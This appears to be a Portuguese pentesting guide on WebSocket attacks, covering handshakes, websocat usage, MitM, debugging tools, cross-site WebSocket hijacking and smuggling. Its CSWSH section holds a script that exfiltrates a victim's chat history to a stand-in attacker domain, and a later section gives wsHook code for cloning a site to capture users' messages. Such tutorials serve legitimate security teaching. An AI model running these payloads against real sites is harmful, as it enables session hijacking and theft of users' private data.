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# Ataques WebSocket

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## O que são WebSockets

Conexões WebSocket são iniciadas sobre **HTTP** e são tipicamente **de longa duração**. Mensagens podem ser enviadas em **qualquer direção a qualquer momento** e não são de natureza transacional. A conexão normalmente permanece aberta e ociosa até que o cliente ou o servidor esteja pronto para enviar uma mensagem.\
WebSockets são particularmente úteis em situações onde **baixa latência ou mensagens iniciadas pelo servidor** são necessárias, como feeds em tempo real de dados financeiros.

### Como as conexões WebSocket são estabelecidas?

(Aqui você encontrará um resumo, mas um **guia mais detalhado sobre como uma conexão WebSocket** é criada pode ser encontrado [**aqui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
Conexões WebSocket são normalmente criadas usando JavaScript do lado do cliente como o seguinte:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
O protocolo **`wss`** estabelece um WebSocket sobre uma conexão **TLS** criptografada, enquanto o protocolo **`ws`** utiliza uma conexão **não criptografada**.

Para estabelecer a conexão, o navegador e o servidor realizam um aperto de mão WebSocket sobre HTTP. O navegador emite uma solicitação de aperto de mão WebSocket como a seguinte:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Se o servidor aceitar a conexão, ele retorna uma resposta de handshake do WebSocket como a seguinte:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Neste ponto, a conexão de rede permanece aberta e pode ser usada para enviar mensagens WebSocket em ambas as direções.

**Nota**

Várias **características** das mensagens de **handshake** WebSocket merecem destaque:

* Os cabeçalhos **`Connection`** e **`Upgrade`** na solicitação e na resposta **indicam** que se trata de um **handshake WebSocket**.
* O cabeçalho de solicitação **`Sec-WebSocket-Version`** especifica a **versão do protocolo WebSocket** que o cliente deseja usar. Normalmente é `13`.
* O cabeçalho de solicitação **`Sec-WebSocket-Key`** contém um valor aleatório codificado em Base64, que deve ser gerado aleatoriamente em cada solicitação de handshake.
* O cabeçalho de resposta **`Sec-WebSocket-Accept`** contém um hash do valor submetido no cabeçalho de solicitação `Sec-WebSocket-Key`, concatenado com uma string específica definida na especificação do protocolo. Isso é feito para prevenir respostas enganosas resultantes de servidores mal configurados ou proxies de cache.

O cabeçalho **`Sec-WebSocket-Key`** contém um **valor aleatório** para prevenir erros de proxies de cache, e **não é utilizado para fins de autenticação ou gerenciamento de sessão** (_Não é um token CSRF_).

### Console Linux

Você pode usar `websocat` para estabelecer uma conexão bruta com um websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Ou para criar um servidor websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### Ataques MitM em conexões websocket

Se você descobrir que clientes estão conectados a um **websocket HTTP** da sua rede local atual, você poderia tentar um [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar um ataque MitM entre o cliente e o servidor.\
Uma vez que o cliente está tentando se conectar, você pode então usar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Enumeração de Websockets

Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descobrir, identificar e procurar por vulnerabilidades conhecidas** em websockets de forma automática.

### Ferramentas de Depuração de Websocket

* **Burp Suite** suporta comunicação MitM de websockets de maneira muito semelhante à que faz para comunicação HTTP regular.
* A extensão [**socketsleuth**](https://github.com/snyk/socketsleuth) do **Burp Suite** permitirá que você gerencie melhor as comunicações de Websocket no Burp, obtendo o **histórico**, configurando **regras de interceptação**, usando regras de **correspondência e substituição**, utilizando **Intruder** e **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip): Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
* [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para pentesting. Ele fornece uma interface para observar **mensagens websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação.
* [**https://websocketking.com/**](https://websocketking.com/) é um **site para se comunicar** com outros sites usando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece um **site para se comunicar** com outros sites usando **websockets**.

## Laboratório de Websocket

Em [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar um site usando websockets e em [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.

## Sequestro de WebSocket entre sites (CSWSH)

Também conhecido como _sequestro de WebSocket de origem cruzada_.\
**É um** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **em um aperto de mão WebSocket.**

Ocorre quando a **solicitação de aperto de mão WebSocket** depende exclusivamente de **cookies HTTP** para o gerenciamento de sessão e **não contém tokens CSRF** ou outros valores imprevisíveis.\
Um atacante pode criar uma **página web maliciosa** em seu próprio domínio que **estabelece uma conexão WebSocket entre sites** com a aplicação vulnerável. A aplicação tratará a conexão no **contexto da sessão do usuário vítima** com a aplicação.

### Ataque Simples

Observe que ao **estabelecer** uma conexão **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando-o para **relacionar** cada **usuário específico** com sua **sessão websocket com base no cookie enviado**.

Então, se por **exemplo** o **servidor websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**PRONTO**" for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado automaticamente** para autorizar o usuário vítima) **enviando** "**PRONTO**" poderá **recuperar** o histórico da **conversa**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie com um subdomínio diferente

Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação via websocket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e porque o **Websocket não verificava a Origem corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.

### Roubando dados do usuário

Copie a aplicação web que você deseja se passar (os arquivos .html por exemplo) e dentro do script onde a comunicação via websocket está ocorrendo, adicione este código:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Agora faça o download do arquivo `wsHook.js` de [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salve-o dentro da pasta com os arquivos web**.\
Expondo a aplicação web e fazendo um usuário se conectar a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:
```javascript
sudo python3 -m http.server 80
```
## Condições de Corrida

Condições de Corrida em WebSockets também são uma realidade, [consulte estas informações para saber mais](race-condition.md#rc-in-websockets).

## Outras vulnerabilidades

Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente manipulam as informações, **Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vuln comum da web usando entrada de um usuário de um websocket.**

## **WebSocket Smuggling**

Esta vulnerabilidade poderia permitir que você **burlasse as restrições de proxies reversos** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso poderia permitir que um atacante **acessasse endpoints ocultos**. Para mais informações, consulte a seguinte página:

{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}

## Referências

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

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